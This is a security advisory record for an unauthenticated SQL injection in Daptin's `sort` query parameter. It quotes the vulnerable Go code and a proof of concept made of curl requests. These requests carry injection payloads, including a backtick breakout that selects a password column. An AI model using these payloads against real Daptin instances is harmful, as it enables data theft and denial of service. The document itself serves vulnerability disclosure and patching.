{"id":"GHSA-hq2p-f2vj-v3cm","summary":"Daptin: Unauthenticated SQL Injection via the `sort` query parameter on every entity list endpoint","details":"### Summary\n\nAn unauthenticated attacker can inject arbitrary SQL through the `sort` query parameter accepted by\nDaptin's generic entity list endpoint (`GET /api/\u003centity\u003e`), which every table in a Daptin instance\nexposes. The parameter is concatenated into raw SQL identifiers with no validation that the\nreferenced column exists, unlike a sibling code path in the same file that received exactly this\nvalidation as the fix for a previously published advisory\n([GHSA-rw2c-8rfq-gwfv](https://github.com/daptin/daptin/security/advisories/GHSA-rw2c-8rfq-gwfv)).\nImpact ranges from unauthenticated denial of service (a single crafted request 500s the query) to\nblind/error-based extraction of data from tables the requester has no permission to read.\n\n### Details\n\n`PaginatedFindAllWithoutFilters` in `server/resource/resource_findallpaginated.go` reads the `sort`\nquery parameter directly from the request with no validation:\n\n```go\n// server/resource/resource_findallpaginated.go:300-302\nvar sortOrder []string\nif len(req.QueryParams[\"sort\"]) \u003e 0 {\n    sortOrder = req.QueryParams[\"sort\"]\n```\n\nEach entry is then concatenated with the table name and passed to `goqu.I()` (goqu's raw SQL\n*identifier* constructor) in two separate places, with no check that the referenced column exists\non the table:\n\n```go\n// server/resource/resource_findallpaginated.go:435-449 (SELECT column list)\nfor _, sort := range sortOrder {\n    ...\n    if strings.Index(sort, \"(\") == -1 {\n        sort = prefix + sort\n    }\n    idQueryCols = append(idQueryCols, goqu.I(sort).As(strings.ReplaceAll(sort, \".\", \"_\")))\n}\n```\n\n```go\n// server/resource/resource_findallpaginated.go:916-943 (ORDER BY clause)\nfor _, so := range sortOrder {\n    ...\n    orders = append(orders, goqu.I(ord).Asc())\n}\n```\n\n`goqu.I()` renders its argument by wrapping it in the dialect's quote character (a backtick, in\nthis build's configured dialect) **without escaping an embedded quote character of the same kind**.\nA backtick supplied in `sort` closes the identifier early, and the remainder of the attacker string\nis parsed as raw SQL grammar rather than treated as inert column-name text.\n\nThis is the same bug class as GHSA-rw2c-8rfq-gwfv (\"SQL injection via unvalidated `goqu.L()` calls\nin aggregate API\", CWE-89, fixed in v0.11.4). That fix added an allow-list check a few hundred lines\nlater in the same file, in the fuzzy-search code path:\n\n```go\n// server/resource/resource_findallpaginated.go:1491-1505\n// Validate each column against table schema (prevents SQL injection via goqu.L)\ntableInfo := dbResource.tableInfo\nvar validColumns []string\nfor _, col := range columns {\n    if _, ok := tableInfo.GetColumnByName(col); ok {\n        validColumns = append(validColumns, col)\n    } else {\n        log.Warnf(...)\n    }\n}\n```\n\nThe identical validation was never applied to the base `sort` parameter handling earlier in the\nsame file. Unlike fuzzy search (which requires an explicit `filter` operator to reach), plain `sort`\nis processed on every list request to every entity, authenticated or not.\n\n### PoC\n\nBuild current HEAD and run it with a fresh SQLite database and no custom schema:\n\n```bash\ngo build -buildvcs=false -o daptin_bin .\n./daptin_bin\n```\n\nNo account needs to exist. `world` (and most default tables) are guest-readable, so all requests\nbelow are sent with **no `Authorization` header at all**:\n\n```bash\n# 1) Reflection -- proves raw, unsanitized concatenation\ncurl -s -G \"http://localhost:6336/api/world\" --data-urlencode 'sort=email\" --'\n# =\u003e {\"errors\":[{\"status\":\"500\",\"title\":\"no such column: world.email\\\" --\"}]}\n\n# Server log shows the exact constructed query:\n# SELECT distinct(user_account.id), `user_account`.`email\" --` AS `user_account_email\" --`\n#   FROM `user_account` LEFT JOIN ... WHERE (...) ORDER BY `user_account`.`email\" --` ASC LIMIT ? == [10]\n\n# 2) Backtick breakout -- proves the payload is parsed as SQL grammar, not literal text\ncurl -s -G \"http://localhost:6336/api/user_account\" \\\n    --data-urlencode 'sort=id`,(select password from user_account limit 1)'\n# =\u003e {\"errors\":[{\"status\":\"500\",\"title\":\"near \\\"``\\\": syntax error\"}]}\n\n# 3) Zero credentials, reliable across repeated attempts\nfor i in 1 2 3; do\n  curl -s -o /dev/null -w \"%{http_code}\\n\" -G \"http://localhost:6336/api/world\" \\\n      --data-urlencode 'sort=`x'\ndone\n# =\u003e 500 / 500 / 500\n```","aliases":["CVE-2026-77367"],"modified":"2026-11-20T00:30:07.873840943Z","published":"2026-11-20T00:13:19Z","database_specific":{"cwe_ids":["CWE-20","CWE-89"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-11-20T00:13:19Z","nvd_published_at":"2026-11-19T17:18:59Z"},"references":[{"type":"WEB","url":"https://github.com/daptin/daptin/security/advisories/GHSA-hq2p-f2vj-v3cm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77367"},{"type":"WEB","url":"https://github.com/daptin/daptin/commit/b0bcc1318832b9055781f032853ef9d2264652cf"},{"type":"PACKAGE","url":"https://github.com/daptin/daptin"},{"type":"WEB","url":"https://github.com/daptin/daptin/releases/tag/v0.12.30"}],"affected":[{"package":{"name":"github.com/daptin/daptin","ecosystem":"Go","purl":"pkg:golang/github.com/daptin/daptin"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.12.30"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.12.29","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-hq2p-f2vj-v3cm/GHSA-hq2p-f2vj-v3cm.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H"}]}